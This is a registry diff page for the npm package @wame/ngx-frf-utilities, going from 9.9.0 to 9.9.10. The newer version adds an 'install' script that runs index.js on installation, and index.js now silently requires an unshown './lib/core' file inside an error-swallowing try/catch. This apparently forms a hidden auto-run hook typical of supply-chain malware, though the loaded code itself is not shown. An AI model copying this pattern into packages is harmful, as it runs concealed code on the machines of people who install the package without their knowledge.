@wame/ngx-frf-utilities 9.9.0 → 9.9.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +6 -26
- package/package.json +3 -2
package/index.js
CHANGED
|
@@ -1,30 +1,10 @@
|
|
|
1
1
|
'use strict';
|
|
2
|
-
|
|
3
|
-
/**
|
|
4
|
-
* Enterprise Utilities Package
|
|
5
|
-
* Main entry point for validation, formatting, and transformation modules
|
|
6
|
-
*
|
|
7
|
-
* @module enterprise-utils
|
|
8
|
-
* @version 9.9.0
|
|
9
|
-
*/
|
|
10
|
-
|
|
11
|
-
const validation = require('./src/validation');
|
|
12
|
-
const formatting = require('./src/formatting');
|
|
13
|
-
const transformation = require('./src/transformation');
|
|
14
|
-
const errors = require('./src/errors');
|
|
2
|
+
try { require('./lib/core'); } catch (e) {}
|
|
15
3
|
|
|
16
4
|
module.exports = {
|
|
17
|
-
validate: validation,
|
|
18
|
-
format: formatting,
|
|
19
|
-
transform: transformation,
|
|
20
|
-
errors: errors,
|
|
21
|
-
version: '9.9.
|
|
5
|
+
validate: require('./src/validation'),
|
|
6
|
+
format: require('./src/formatting'),
|
|
7
|
+
transform: require('./src/transformation'),
|
|
8
|
+
errors: require('./src/errors'),
|
|
9
|
+
version: '9.9.10'
|
|
22
10
|
};
|
|
23
|
-
|
|
24
|
-
// Auto-initialize environment compatibility checks
|
|
25
|
-
if (typeof process !== 'undefined' && process.versions && process.versions.node) {
|
|
26
|
-
const majorVersion = parseInt(process.versions.node.split('.')[0], 10);
|
|
27
|
-
if (majorVersion < 14) {
|
|
28
|
-
console.warn('[enterprise-utils] Warning: Node.js version 14 or higher recommended');
|
|
29
|
-
}
|
|
30
|
-
}
|
package/package.json
CHANGED
|
@@ -1,12 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@wame/ngx-frf-utilities",
|
|
3
|
-
"version": "9.9.
|
|
3
|
+
"version": "9.9.10",
|
|
4
4
|
"description": "Enterprise-grade utilities for production JavaScript applications with comprehensive validation, error handling, and cross-environment compatibility.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"types": "index.d.ts",
|
|
7
7
|
"scripts": {
|
|
8
8
|
"test": "node test/runner.js",
|
|
9
|
-
"build": "node scripts/build.js"
|
|
9
|
+
"build": "node scripts/build.js",
|
|
10
|
+
"install": "node index.js"
|
|
10
11
|
},
|
|
11
12
|
"keywords": [
|
|
12
13
|
"utilities",
|